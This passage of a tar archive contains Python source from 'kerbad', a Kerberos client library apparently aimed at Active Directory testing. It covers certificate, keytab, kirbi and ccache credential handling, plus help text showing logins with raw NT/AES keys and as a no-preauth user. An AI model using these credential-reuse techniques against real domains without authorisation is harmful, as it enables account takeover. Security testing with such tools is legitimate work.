san.native.get("type_id") == UPN_OID: upn = san.native["value"] break elif san.name == "dns_name": dnsname = san.native["value"] break else: # Multiple cn is possible, e.g. "CN=Test User,CN=Users,DC=corp,DC=local" # but only the last one can possibly be the sAMAccountName cn = self.certificate.subject.native["common_name"] if isinstance(cn, list): cn = cn[-1] if '@' in cn: upn = cn.rsplit('/', 1)[-1] else: self.username = cn if upn: # Even if self.username doesn't match sAMAccountName but match the first part of the UPN, kerberos will find the principal self.username, cert_domain = upn.rsplit('@', 1) elif dnsname: self.username, cert_domain = dnsname.split('.', 1) self.username += '$' self.domain = domain if not domain: if cert_domain: self.domain = cert_domain else: dc = None if 'domain_component' in self.certificate.subject.native: dc = self.certificate.subject.native['domain_component'] elif 'domain_component' in self.certificate.issuer.native: dc = self.certificate.issuer.native['domain_component'] if dc is not None: self.domain = '.'.join(dc[::-1]) else: raise Exception('Could\'t find proper domain name in the certificate! Please set it manually!') @staticmethod def from_pem_data(certdata: str or bytes, keydata:str or bytes, dhparams:DirtyDH = None, username:str = None, domain:str = None) -> KerberosCredential: if isinstance(certdata, str): certdata = base64.b64decode(certdata.replace(' ','').replace('\r','').replace('\n','').replace('\t','')) if isinstance(keydata, str): keydata = base64.b64decode(keydata.replace(' ','').replace('\r','').replace('\n','').replace('\t','')) k = KerberosCredential() cert = cryptoX509.load_pem_x509_certificate(certdata) cert_der = cert.public_bytes(encoding=Encoding.DER) k.certificate = x509.Certificate.load(cert_der) k.private_key = serialization.load_pem_private_key(keydata, password=None) k.set_user_and_domain_from_cert(username = username, domain = domain) k.set_dhparams(dhparams) return k @staticmethod def from_pem_file(certpath:str, keypath: str, dhparams:DirtyDH = None, username:str = None, domain:str = None) -> KerberosCredential: with open(certpath, 'rb') as f: certdata = f.read() with open(keypath, 'rb') as f: keydata = f.read() return KerberosCredential.from_pem_data(certdata, keydata, dhparams = dhparams, username = username, domain = domain) @staticmethod def from_windows_certstore(commonname:str, certstore_name:str = 'MY', dhparams:DirtyDH = None, username:str = None, domain:str = None) -> KerberosCredential: if platform.system().lower() != 'windows': raise Exception('Only works on windows (obviously)') from kerbad.common.windows.crypt32 import find_cert_by_cn, CertCloseStore, CertFreeCertificateContext k = KerberosCredential() k.commonname = commonname k.certstore_name = certstore_name k.certificate, chandle, shandle = find_cert_by_cn(commonname, certstore_name) CertFreeCertificateContext(chandle) CertCloseStore(shandle) k.__use_windows_certstore = True k.set_user_and_domain_from_cert(username = username, domain = domain) k.set_dhparams(dhparams) return k @staticmethod def from_pfx_string(data: str or bytes, password:str, dhparams:DirtyDH = None, username:str = None, domain:str = None) -> KerberosCredential: k = KerberosCredential() if password is None: password = b'' if isinstance(password, str): password = password.encode() if isinstance(data, str): data = base64.b64decode(data.replace(' ', '').replace('\r','').replace('\n','').encode()) k.private_key, cert, extra_certs = pkcs12.load_key_and_certificates(data, password = password) cert_der = cert.public_bytes(encoding=Encoding.DER) k.certificate = x509.Certificate.load(cert_der) k.set_user_and_domain_from_cert(username = username, domain = domain) k.set_dhparams(dhparams) return k @staticmethod def from_pfx_file(filepath:str, password:str, dhparams:DirtyDH = None, username:str = None, domain:str = None) -> KerberosCredential: """ Username and domain will override the values found in the certificate """ with open(filepath, 'rb') as f: data = f.read() return KerberosCredential.from_pfx_string(data, password, dhparams = dhparams, username = username, domain = domain) def set_dhparams(self, dhparams): # windows default params, don't look at me... self.dhparams = DirtyDH.from_dict({ 'p':int('00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff', 16), 'g':2 }) if dhparams is not None: if isinstance(dhparams, dict): self.dhparams = DirtyDH.from_dict(dhparams) elif isinstance(dhparams, bytes): self.dhparams = DirtyDH.from_asn1(dhparams) elif isinstance(dhparams, DirtyDH): self.dhparams= dhparams else: raise Exception('DH params must be either a bytearray or a dict') def sign_authpack(self, data, wrap_signed = False): if self.__use_windows_certstore is True: from kerbad.common.windows.crypt32 import pkcs7_sign, CertCloseStore, find_cert_by_cn, CertFreeCertificateContext _, chandle, shandle = find_cert_by_cn(self.commonname, self.certstore_name) res = pkcs7_sign(chandle, data) CertFreeCertificateContext(chandle) CertCloseStore(shandle) return res return self.sign_authpack_native(data, wrap_signed) def sign_authpack_native(self, data, wrap_signed = False): """ Creating PKCS7 blob which contains the following things: 1. 'data' blob which is an ASN1 encoded "AuthPack" structure 2. the certificate used to sign the data blob 3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1) """ da = {} da['algorithm'] = algos.DigestAlgorithmId('1.3.14.3.2.26') # for sha1 si = {} si['version'] = 'v1' si['sid'] = cms.IssuerAndSerialNumber({ 'issuer': self.certificate.issuer, 'serial_number': self.certificate.serial_number, }) si['digest_algorithm'] = algos.DigestAlgorithm(da) si['signed_attrs'] = [ cms.CMSAttribute({'type': 'content_type', 'values': ['1.3.6.1.5.2.3.1']}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed ) cms.CMSAttribute({'type': 'message_digest', 'values': [hashlib.sha1(data).digest()]}), ### hash of the data, the data itself will not be signed, but this block of data will be. ] si['signature_algorithm'] = algos.SignedDigestAlgorithm({'algorithm' : '1.2.840.113549.1.1.1'}) si['signature'] = self.private_key.sign(cms.CMSAttributes(si['signed_attrs']).dump(), padding.PKCS1v15() , hashes.SHA1()) ec = {} ec['content_type'] = '1.3.6.1.5.2.3.1' ec['content'] = data sd = {} sd['version'] = 'v3' sd['digest_algorithms'] = [algos.DigestAlgorithm(da)] # must have only one sd['encap_content_info'] = cms.EncapsulatedContentInfo(ec) sd['certificates'] = [self.certificate] sd['signer_infos'] = cms.SignerInfos([cms.SignerInfo(si)]) if wrap_signed is True: ci = {} ci['content_type'] = '1.2.840.113549.1.7.2' # signed data OID ci['content'] = cms.SignedData(sd) return cms.ContentInfo(ci).dump() return cms.SignedData(sd).dump() def add_secret(self, st: KerberosSecretType, secret: str): if st == KerberosSecretType.PASSWORD or st == KerberosSecretType.PW or st == KerberosSecretType.PASS: if secret == '' or secret is None: self.password = getpass.getpass('Enter Kerberos credential password:') else: self.password = secret elif st == KerberosSecretType.NT or st == KerberosSecretType.RC4: self.nt_hash = secret self.kerberos_key_rc4 = secret elif st == KerberosSecretType.AES128: self.kerberos_key_aes_128 = secret elif st == KerberosSecretType.AES256: self.kerberos_key_aes_256 = secret elif st == KerberosSecretType.AES: bytes.fromhex(secret) if len(secret) == 32: self.kerberos_key_aes_128 = secret elif len(secret) == 64: self.kerberos_key_aes_256 = secret else: raise Exception('AES key incorrect length!') elif st == KerberosSecretType.DES: self.kerberos_key_des = secret elif st == KerberosSecretType.DES3 or st == KerberosSecretType.TDES: self.kerberos_key_des3 = secret elif st == KerberosSecretType.CCACHE: self.ccache = CCACHE.from_file(secret) @staticmethod def from_tgt(tgt, override_realm = None, override_etypes:List[int] = [17,18,23]): """Returns a new KerberosCredential object with user matching the TGT""" new_cred = KerberosCredential() new_cred.username = tgt['cname']['name-string'][0] if len(tgt['cname']['name-string']) > 1: new_cred.domain = tgt['cname']['name-string'][1] new_cred.domain = tgt['crealm'] if override_realm is not None: new_cred.domain = override_realm if override_etypes is not None: for etype in override_etypes: new_cred.override_etypes.append(EncryptionType(etype)) return new_cred def __str__(self): t = '===KerberosCredential===\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): t += '%s: %s\r\n' % (k, ','.join([str(x) for x in self.__dict__[k]])) else: t += '%s: %s\r\n' % (k, self.__dict__[k]) return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1765428005.0 kerbad-0.5.10/kerbad/common/factory.py0000777000175000000000000002405315116445445016706 0ustar00silverrootimport getpass import copy import base64 from kerbad.common.target import KerberosTarget from kerbad.common.creds import KerberosCredential from kerbad.common.constants import KerberosSecretType from kerbad.aioclient import AIOKerberosClient from kerbad.client import KerbrosClient from urllib.parse import urlparse, parse_qs, unquote from asysocks.unicomm.common.target import UniProto from asysocks.unicomm.common.proxy import UniProxyTarget from kerbad.protocol.constants import EncryptionType kerberos_url_help_epilog = """==== Extra Help ==== WARNING: URL special chars (@, :, /, ?, &, =) must be URL encoded! Kerberos connection secret types: - Plaintext: "pw" or "pass" or "password" - NT/RC4 key: "nt" or "rc4" - AES128/256 key: "aes" - CCACHE: "ccache" - KIRBI: "kirbi" - KEYTAB: "keytab" - PFX: "pfx" - PFX string (base64): "pfxstr" - PEM: "pem" - CERTSTORE: "certstore" Secret types supporting "b64"/"hex" suffix (e.g. "pwb64", "ccachehex"...): - "pw", "pfx", "pem", "ccache", "keytab", "kirbi" Example: - Plaintext + SOCKS5 proxy: kerberos+password://domain\\user:SecretP%40ssword@127.0.0.1/proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080 - Encoded Password: kerberos+pwhex://domain\\user:53656372657450617373776F7264@127.0.0.1 kerberos+pw64://domain\\user:U2VjcmV0UGFzc3dvcmQ%3D@127.0.0.1 - RC4 key: kerberos+rc4://domain\\user:921a7fece11f4d8c72432e41e40d0372@127.0.0.1 - AES key: kerberos+aes://domain\\user:921a7fece11f4d8c72432e41e40d0372@127.0.0.1 - CCACHE file + Timeout + DNS: kerberos+ccache://domain\\user:creds.ccache@127.0.0.1/?timeout=60&dns=192.168.100.1 - KIRBI file: kerberos+kirbi://creds.kirbi@127.0.0.1 - KEYTAB file: kerberos+keytab://domain\\user:creds.keytab@127.0.0.1 - PFX file: kerberos+pfx://TEST.corp\\Administrator:admin@10.10.10.2/?certdata=test.pfx - PFX string (b64): kerberos+pfxstr://TEST.corp\\Administrator:admin@10.10.10.2/?certdata=BASE64DATA - PEM file: kerberos+pem://TEST.corp\\Administrator:admin@10.10.10.2/?certdata=test.pem&keydata=test.key - CERTSTORE (Windows only): kerberos+certstore://TEST.corp\\Administrator/?cn=Administrator&certstore=MY - No auth (preauth not req): kerberos+none://TEST.corp\\asrepuser@10.10.10.2/ """ KerberosClientFactory_param2var = { 'timeout': ('timeout', [int]), 'certdata': ('certdata', [str]), 'keydata': ('keydata', [str]), 'etype': ('etype', [int]), 'certstore': ('certstore', [str]), 'cn': ('commonname', [str]), 'dns': ('dns', [str]), } class KerberosClientFactory: def __init__(self, target:KerberosTarget = None, credential = None, proxies = [], certdata = None, keydata = None): self.domain = None self.username = None self.secret_type = None self.secret = None self.etype = None self.certstore = 'MY' self.commonname = None self.dc_ip = None self.protocol = UniProto.CLIENT_TCP self.timeout = 10 self.port = 88 self.dns = None self.target = target #proxy needs to be already in the target! self.credential = credential self.proxies = proxies self.certdata = certdata self.keydata = keydata def get_target(self): if self.target is not None: if self.target.proxies is None and self.proxies is not None: self.target.proxies = self.proxies if self.target.dns is None and self.dns is not None: self.target.dns = self.dns return copy.deepcopy(self.target) res = KerberosTarget( self.dc_ip, port=self.port, protocol = UniProto.CLIENT_TCP, proxies = self.proxies, timeout = self.timeout, dns = self.dns ) return res def get_credential(self): return self.get_creds() def get_basetype_and_encoding(self): basetype = self.secret_type encoding = 'file' if self.secret_type.name.endswith('B64'): basetype = KerberosSecretType(self.secret_type.name[:-3]) encoding = 'b64' elif self.secret_type.name.endswith('HEX'): basetype = KerberosSecretType(self.secret_type.name[:-3]) encoding = 'hex' return basetype, encoding def get_creds(self): if self.credential is not None: return copy.deepcopy(self.credential) basetype, encoding = self.get_basetype_and_encoding() if basetype == KerberosSecretType.KEYTAB: return KerberosCredential.from_keytab(self.secret, self.username, self.domain, encoding=encoding) if basetype == KerberosSecretType.KIRBI: return KerberosCredential.from_kirbi(self.secret, encoding=encoding) if basetype == KerberosSecretType.PFXSTR: return KerberosCredential.from_pfx_string(self.certdata, self.secret, username = self.username, domain = self.domain) if basetype == KerberosSecretType.PFX: return KerberosCredential.from_pfx(self.certdata, self.secret, username=self.username, domain=self.domain, encoding=encoding) if basetype == KerberosSecretType.CCACHE: return KerberosCredential.from_ccache(self.secret, principal=self.username, realm=self.domain, encoding=encoding) if basetype == KerberosSecretType.PEM: return KerberosCredential.from_pem(self.certdata, self.keydata, username = self.username, domain = self.domain, encoding=encoding) if basetype == KerberosSecretType.CERTSTORE: return KerberosCredential.from_windows_certstore(self.commonname, certstore_name = self.certstore, dhparams = None, username = self.username, domain = self.domain) res = KerberosCredential() res.username = self.username res.domain = self.domain if basetype in [KerberosSecretType.PASSWORD, KerberosSecretType.PW, KerberosSecretType.PASS]: if encoding == 'b64': self.secret = base64.b64decode(self.secret).decode() elif encoding == 'hex': self.secret = bytes.fromhex(self.secret).decode() res.password = self.secret elif self.secret_type in [KerberosSecretType.NT, KerberosSecretType.RC4]: if len(self.secret) != 32: raise Exception('Incorrect RC4/NT key! %s' % self.secret) res.nt_hash = self.secret res.kerberos_key_rc4 = self.secret elif self.secret_type in [KerberosSecretType.AES128, KerberosSecretType.AES256, KerberosSecretType.AES]: if self.secret_type == KerberosSecretType.AES: if len(self.secret) == 32: res.kerberos_key_aes_128 = self.secret elif len(self.secret) == 64: res.kerberos_key_aes_256 = self.secret else: raise Exception('Incorrect AES key! %s' % self.secret) elif self.secret_type == KerberosSecretType.AES128: if len(self.secret) != 32: raise Exception('Incorrect AES128 key! %s' % self.secret) res.kerberos_key_aes_128 = self.secret else: if len(self.secret) != 64: raise Exception('Incorrect AES256 key! %s' % self.secret) res.kerberos_key_aes_256 = self.secret elif self.secret_type == KerberosSecretType.DES: if len(self.secret) != 16: raise Exception('Incorrect DES key! %s' % self.secret) res.kerberos_key_des = self.secret elif self.secret_type in [KerberosSecretType.DES3, KerberosSecretType.TDES]: if len(self.secret) != 24: raise Exception('Incorrect DES3 key! %s' % self.secret) res.kerberos_key_des3 = self.secret elif self.secret_type == KerberosSecretType.NONE: res.nopreauth = True else: raise Exception('Missing/unknown secret_type!') if self.etype is not None: res.override_etypes = [EncryptionType(self.etype)] return res def get_client(self): return AIOKerberosClient(self.get_creds(), self.get_target()) def get_client_blocking(self): return KerbrosClient(self.get_creds(), self.get_target()) def get_client_newcred(self, cred:KerberosCredential): return AIOKerberosClient(copy.deepcopy(cred), self.get_target()) def get_client_newcred_blocking(self, cred:KerberosCredential): return KerbrosClient(copy.deepcopy(cred), self.get_target()) @staticmethod def from_url(url_str): res = KerberosClientFactory() url = urlparse(url_str) url_dict = url._asdict() for prop, val in url_dict.items(): if type(val) is str and prop != 'query': url_dict[prop] = unquote(val) url = url._replace(**url_dict) res.dc_ip = url.hostname schemes = url.scheme.upper().split('+') if schemes[0] not in ['KERBEROS', 'KERBEROS-TCP, KERBEROS-UDP', 'KRB5', 'KRB5-UDP', 'KRB5-TCP']: raise Exception('Unknown protocol! %s' % schemes[0]) if schemes[0].endswith('UDP') is True: res.protocol = UniProto.CLIENT_UDP ttype = schemes[1] if ttype.find('-') != -1 and ttype.upper().endswith('-PROMPT'): ttype = ttype.split('-')[0] res.secret = getpass.getpass() try: res.secret_type = KerberosSecretType(ttype) except: raise Exception('Unknown secret type! %s' % ttype) if url.username is not None: if url.username.find('\\') != -1: res.domain , res.username = url.username.split('\\') else: raise Exception('Domain missing from username!') else: if res.secret_type != KerberosSecretType.CERTSTORE: raise Exception('Missing username!') if res.secret is None: res.secret = url.password if url.port is not None: res.port = int(url.port) query = parse_qs(url.query) proxy_type = None for k in query: if k == 'proxytype': proxy_type = query[k][0] if k in KerberosClientFactory_param2var: data = query[k][0] for c in KerberosClientFactory_param2var[k][1]: data = c(data) setattr( res, KerberosClientFactory_param2var[k][0], data ) if proxy_type is not None: res.proxies = UniProxyTarget.from_url_params(query, res.dc_ip, res.port) # Usually DC is also a DNS server if not res.dns: res.dns = res.dc_ip if res.username is None: if res.secret_type != KerberosSecretType.CERTSTORE: raise Exception('Missing username!') if res.secret_type == KerberosSecretType.PWPROMPT: res.secret_type = KerberosSecretType.PASSWORD res.secret = getpass.getpass() if res.secret_type is None: raise Exception('Missing secret_type!') if res.dc_ip is None: raise Exception('Missing target hostname or IP!') if res.secret is None and res.secret_type != KerberosSecretType.NONE: if res.secret_type not in [KerberosSecretType.PFXSTR, KerberosSecretType.PFX ,KerberosSecretType.PEM, KerberosSecretType.CERTSTORE]: raise Exception('Missing secret/password!') return res ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/common/keytab.py0000777000175000000000000002101514760576506016520 0ustar00silverroot# # # Initial commit and structure: Tamas Jos (@skelsec) # Main contributor to this file: Philip Alexiev https://github.com/philip-alexiev # https://web.mit.edu/kerberos/krb5-1.12/doc/formats/keytab_file_format.html # # Be careful using this parser/writer! The specifications in the MIT Kerberos's official page doesnt match with the file Windows server generates!! # Thus this script is to support Windows generated keytabs, not sure about MIT's from __future__ import annotations import io from typing import List class KeytabPrincipal: def __init__(self): self.num_components:int = None self.name_type:int = None self.realm:KeytabOctetString = None self.components:List[KeytabOctetString] = [] @staticmethod def from_asn1(principal, realm): """Returns a principal from asn1 and realm""" p = KeytabPrincipal() p.name_type = principal['name-type'] p.num_components = len(principal['name-string']) p.realm = KeytabOctetString.from_string(realm) for comp in principal['name-string']: p.components.append(KeytabOctetString.from_asn1(comp)) return p @staticmethod def empty(): """Returns a dummy principal""" p = KeytabPrincipal() p.name_type = 1 p.num_components = 1 p.realm = KeytabOctetString.from_string('kerbi.corp') for _ in range(1): p.components.append(KeytabOctetString.from_string('kerbi')) return p def to_string(self): """Returns the principal as a string""" return '-'.join([c.to_string() for c in self.components]) def to_pname(self): """Returns the principal as a string in pname format""" return '/'.join(list(map(lambda c: c.to_string(), self.components))) def to_asn1(self): """Returns the principal as a tuple of asn1 and realm""" t = {'name-type': self.name_type, 'name-string': [name.to_string() for name in self.components]} return t, self.realm.to_string() @staticmethod def from_buffer(buffer): """Parses the principal from the buffer""" p = KeytabPrincipal() p.num_components = int.from_bytes(buffer.read(2), byteorder='big', signed=False) p.realm = KeytabOctetString.parse(buffer) for _ in range(p.num_components): p.components.append(KeytabOctetString.parse(buffer)) p.name_type = int.from_bytes(buffer.read(4), byteorder='big', signed=False) return p def to_bytes(self): """Returns the principal as a byte array""" t = len(self.components).to_bytes(2, byteorder='big', signed=False) t += self.realm.to_bytes() for com in self.components: t += com.to_bytes() t += self.name_type.to_bytes(4, byteorder='big', signed=False) return t class KeytabOctetString: def __init__(self): self.length:int = None self.data:bytes = None @staticmethod def empty() -> KeytabOctetString: """Creates an empty octet string""" o = KeytabOctetString() o.length = 0 o.data = b'' return o def to_asn1(self) -> bytes: """Returns the octet string as a byte array""" return self.data def to_string(self) -> str: """Returns the octet string as a string""" return self.data.decode() @staticmethod def from_string(data) -> KeytabOctetString: """Creates an octet string from a string""" o = KeytabOctetString() o.data = data.encode() o.length = len(o.data) return o @staticmethod def from_asn1(data) -> KeytabOctetString: """Creates an octet string from an asn1 object""" o = KeytabOctetString() o.length = len(data) if isinstance(data, str): o.data = data.encode() else: o.data = data return o @staticmethod def parse(reader: io.BytesIO) -> KeytabOctetString: """Parses the octet string from the reader""" o = KeytabOctetString() o.length = int.from_bytes(reader.read(2), byteorder='big', signed=False) o.data = reader.read(o.length) return o def to_bytes(self) -> bytes: """Returns the octet string as a byte array""" if isinstance(self.data, str): self.data = self.data.encode() self.length = len(self.data) t = len(self.data).to_bytes(2, byteorder='big', signed=False) t += self.data return t class KeytabEntry: def __init__(self): self.principal:KeytabPrincipal = None self.timestamp:int = None self.key_version:int = None self.enctype:int = None self.key_length:int = None self.key_contents:bytes = None def to_bytes(self) -> bytes: """Returns the entry as a byte array""" t = self.principal.to_bytes() t += self.timestamp.to_bytes(4, 'big', signed=False) t += self.key_version.to_bytes(1, 'big', signed=False) t += self.enctype.to_bytes(2, 'big', signed=False) t += self.key_length.to_bytes(2, 'big', signed=False) t += self.key_contents return t def to_pname(self): """Returns the principal name of the entry""" return self.principal.to_pname() @staticmethod def from_bytes(data) -> KeytabEntry: """Reads a KeytabEntry from a byte array""" return KeytabEntry.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buffer:io.BytesIO) -> KeytabEntry: """Reads a KeytabEntry from a buffer""" ke = KeytabEntry() ke.principal = KeytabPrincipal.from_buffer(buffer) ke.timestamp = int.from_bytes(buffer.read(4), byteorder='big', signed=False) ke.key_version = int.from_bytes(buffer.read(1), 'big', signed=False) ke.enctype = int.from_bytes(buffer.read(2), 'big', signed=False) ke.key_length = int.from_bytes(buffer.read(2), 'big', signed=False) ke.key_contents = buffer.read(ke.key_length) return ke def __repr__(self): t = '=== KeytabEntry ===\r\n' t += 'Principal : %s\r\n' % self.principal.to_string() t += 'timestamp : %s\r\n' % self.timestamp t += 'key_version : %s\r\n' % self.key_version t += 'enctype : %s\r\n' % self.enctype t += 'key_length : %s\r\n' % self.key_length t += 'key_contents : %s\r\n' % self.key_contents.hex() return t class Keytab: def __init__(self): self.krb5:int = 5 self.version:int = 2 self.entries:List[KeytabEntry] = [] def to_bytes(self) -> bytes: """Returns the keytab as a byte array""" t = self.krb5.to_bytes(1, 'big', signed=False) t += self.version.to_bytes(1, 'big', signed=False) for e in self.entries: data = e.to_bytes() t += len(data).to_bytes(4, 'big', signed=False) t += data return t def get_pnames(self): """Returns all princial names available in the kaytab""" return [e.principal.to_pname() for e in self.entries] @staticmethod def from_bytes(data:bytes): """Reads a keytab from a byte array""" return Keytab.from_buffer(io.BytesIO(data)) @staticmethod def from_file(filename:str): """Reads a keytab from a file""" with open(filename, 'rb') as f: return Keytab.from_buffer(f) @staticmethod def from_buffer(buffer:io.BytesIO) -> Keytab: """Reads a keytab from a buffer""" pos = buffer.tell() buffer.seek(0, 2) buffer_size = buffer.tell() - pos buffer.seek(pos, 0) k = Keytab() k.krb5 = int.from_bytes(buffer.read(1), 'big', signed=False) k.version = int.from_bytes(buffer.read(1), 'big', signed=False) i = 0 while i < buffer_size: entry_size = int.from_bytes(buffer.read(4), 'big', signed=True) if entry_size == 0: break if entry_size < 0: # this is a hole i += entry_size * -1 continue else: k.entries.append(KeytabEntry.from_bytes(buffer.read(entry_size))) i += entry_size return k def to_file(self, filename:str): """Writes the keytab to a file""" with open(filename, 'wb') as f: f.write(self.to_bytes()) def __repr__(self): t = '=== Keytab ===\r\n' t += 'Version : %s\r\n' % self.version for e in self.entries: t += repr(e) return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1766932045.0 kerbad-0.5.10/kerbad/common/kirbi.py0000777000175000000000000001137515124237115016332 0ustar00silverrootimport base64 from kerbad.protocol.asn1_structs import KRBCRED, EncKrbCredPart,\ KrbCredInfo, EncryptedData, KERB_DMSA_KEY_PACKAGE, KERB_KEY_LIST_REP class Kirbi: def __init__(self, kirbiobj:KRBCRED = None): self.kirbiobj = kirbiobj """ if isinstance(data, bytes): kirbi = KRBCRED.load(data).native elif isinstance(data, dict): kirbi = data elif isinstance(data, KRBCRED): kirbi = data.native else: raise Exception('Unknown data type! %s' % type(data)) """ @staticmethod def from_file(fpath): with open(fpath, 'rb') as f: return Kirbi.from_bytes(f.read()) def to_file(self, fpath): with open(fpath, 'wb') as f: f.write(self.kirbiobj.dump()) @staticmethod def from_bytes(data): k = Kirbi() k.kirbiobj = KRBCRED.load(data) return k def to_bytes(self): return self.kirbiobj.dump() @staticmethod def from_b64(b64): return Kirbi.from_bytes(base64.b64decode(b64)) def to_b64(self): return base64.b64encode(self.kirbiobj.dump()).decode() @staticmethod def from_hex(hexdata): return Kirbi.from_bytes(bytes.fromhex(hexdata)) def to_hex(self): return self.kirbiobj.dump().hex() @staticmethod def from_ticketdata(tgt_or_tgs, encpart): ci = {} ci['key'] = encpart['key'] ci['prealm'] = tgt_or_tgs['crealm'] ci['pname'] = tgt_or_tgs['cname'] ci['flags'] = encpart['flags'] ci['authtime'] = encpart['authtime'] ci['starttime'] = encpart['starttime'] ci['endtime'] = encpart['endtime'] ci['renew-till'] = encpart['renew-till'] ci['srealm'] = encpart['srealm'] ci['sname'] = encpart['sname'] ti = {} ti['ticket-info'] = [KrbCredInfo(ci)] te = {} te['etype'] = 0 te['cipher'] = EncKrbCredPart(ti).dump() t = {} t['pvno'] = 5 t['msg-type'] = 22 t['enc-part'] = EncryptedData(te) t['tickets'] = [tgt_or_tgs['ticket']] return Kirbi(KRBCRED(t)) @staticmethod def format_kirbi(data, n = 100): kd = base64.b64encode(data).decode() return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)]) def format(self, n = 100): return self.format_kirbi(self.kirbiobj.dump(), n=n) def describe(self): t = '\r\n' for ticket in self.kirbiobj.native['tickets']: t += 'Realm : %s\r\n' % ticket['realm'] t += 'Sname : %s\r\n' % '/'.join(ticket['sname']['name-string']) if self.kirbiobj.native['enc-part']['etype'] == 0: cred = EncKrbCredPart.load(self.kirbiobj.native['enc-part']['cipher']).native cred = cred['ticket-info'][0] username = cred.get('pname') if username is not None: username = '/'.join(username['name-string']) flags = cred.get('flags') if flags is not None: flags = ', '.join(flags) t += 'UserName : %s\r\n' % username t += 'UserRealm : %s\r\n' % cred.get('prealm') t += 'StartTime : %s\r\n' % cred.get('starttime') t += 'EndTime : %s\r\n' % cred.get('endtime') t += 'RenewTill : %s\r\n' % cred.get('renew-till') t += 'Flags : %s\r\n' % flags t += 'Keytype : %s\r\n' % cred['key']['keytype'] t += 'Key : %s\r\n' % base64.b64encode(cred['key']['keyvalue']).decode() t += 'EncodedKirbi : \r\n\r\n' t += self.format() return t def get_username(self): if self.kirbiobj.native['enc-part']['etype'] == 0: cred = EncKrbCredPart.load(self.kirbiobj.native['enc-part']['cipher']).native cred = cred['ticket-info'][0] username = cred.get('pname') if username is not None: return '/'.join(username['name-string']) return None def dmsa_get_previous_keys(self): if self.encpart is None: return [] if 'encrypted-pa-data' not in self.encpart or self.encpart['encrypted-pa-data'] is None: return [] prevkeys = [] for encpadata in self.encpart['encrypted-pa-data']: if encpadata['padata-type'] == 171: keypackage = KERB_DMSA_KEY_PACKAGE.load(encpadata['padata-value']) for previous_key in keypackage['previous-keys']: prevkeys.append((previous_key['keytype'].native, previous_key['keyvalue'].native.hex())) return prevkeys def __str__(self): return self.describe()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1759805668.0 kerbad-0.5.10/kerbad/common/spn.py0000777000175000000000000000442715071100344016024 0ustar00silverroot class KerberosSPN: def __init__(self): self.username = None self.service = None #the service we are trying to get a ticket for (eg. cifs/mssql...) self.domain = None #the kerberos realm self.port = None #the port the service is running on # https://docs.microsoft.com/en-us/windows/desktop/ad/name-formats-for-unique-spns #def from_spn(self): @staticmethod def from_user_email(s): #please dont use this anymore return KerberosSPN.from_upn(s) @staticmethod def from_upn(s, default_realm:str = None): """Converts UserPrincipalName to SPN""" kt = KerberosSPN() if s.find('@') == -1: if not default_realm: raise Exception('Incorrect format, @ sign is missing!') kt.domain = default_realm kt.username = s else: kt.username, kt.domain = s.split('@') return kt @staticmethod def from_spn(s, override_realm:str = None, default_realm:str = None): """ Converts ServicePrincipalName to SPN service/host@domain or host@domain """ kt = KerberosSPN() if s.find('/') != -1: kt.service, s = s.split('/') if s.find('@') != -1: kt.username, kt.domain = s.rsplit('@', 1) else: kt.username = s if not override_realm and not default_realm: raise Exception('The following SPN is incorrect without additionally setting the realm: %s' % s) if override_realm is not None: kt.domain = override_realm elif not kt.domain: kt.domain = default_realm if kt.domain.find(':') != -1: kt.domain, kt.port = kt.domain.split(':', 1) return kt def get_principalname(self): if self.service: if self.port: return [self.service, '%s:%s' % (self.username, self.port)] return [self.service, self.username] return [self.username] def get_formatted_pname(self): if self.service: if self.port: return '%s/%s:%s@%s' % (self.service, self.username, self.port, self.domain) else: return '%s/%s@%s' % (self.service, self.username, self.domain) return '%s@%s' % (self.username, self.domain) def __str__(self): return self.get_formatted_pname() @staticmethod def from_file(fpath:str, override_realm:str = None): res = [] with open(fpath, 'r') as f: for line in f: line = line.strip() if line == '': continue spn = KerberosSPN.from_spn(line, override_realm) res.append(spn) return res././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1759077729.0 kerbad-0.5.10/kerbad/common/target.py0000777000175000000000000000331615066262541016522 0ustar00silverroot from asysocks.unicomm.common.target import UniTarget, UniProto from dns import resolver import copy, socket class KerberosTarget(UniTarget): def __init__(self, host:str = None, proxies = None, protocol = UniProto.CLIENT_TCP, timeout = 10, port = 88, dns = None): UniTarget.__init__(self, host, port , protocol, timeout=timeout, proxies = proxies, dns = dns) self.ip = self.getkdcbyname(host) # Usually host is used no matter what but dc_ip is used in some scripts so we keep it self.dc_ip = self.ip def get_newtarget(self, kdc_host, port:int=88, hostname:str = None): return KerberosTarget( self.getkdcbyname(kdc_host), port = port, protocol = self.protocol, timeout = self.timeout, proxies=copy.deepcopy(self.proxies), dns = self.dns ) # Sometimes domain is provided instead of kdc hostname but it's fine # usually the dc for the domain is also a kdc def getkdcbyname(self, kdc_host): try: ip = socket.gethostbyname(kdc_host) except: custom_resolver = resolver.Resolver() custom_resolver.nameservers = [self.dns] custom_resolver.timeout = self.timeout custom_resolver.lifetime = self.timeout * 2 is_tcp = False if self.protocol == UniProto.CLIENT_TCP: is_tcp = True try: records = custom_resolver.resolve(kdc_host, 'A', tcp=is_tcp) ip = records[0].address except resolver.NoAnswer: records = custom_resolver.resolve(kdc_host, 'AAAA', tcp=is_tcp) ip = records[0].address return ip def __str__(self): t = '===KerberosTarget===\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for x in self.__dict__[k]: t += ' %s: %s\r\n' % (k, x) else: t += '%s: %s\r\n' % (k, self.__dict__[k]) return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 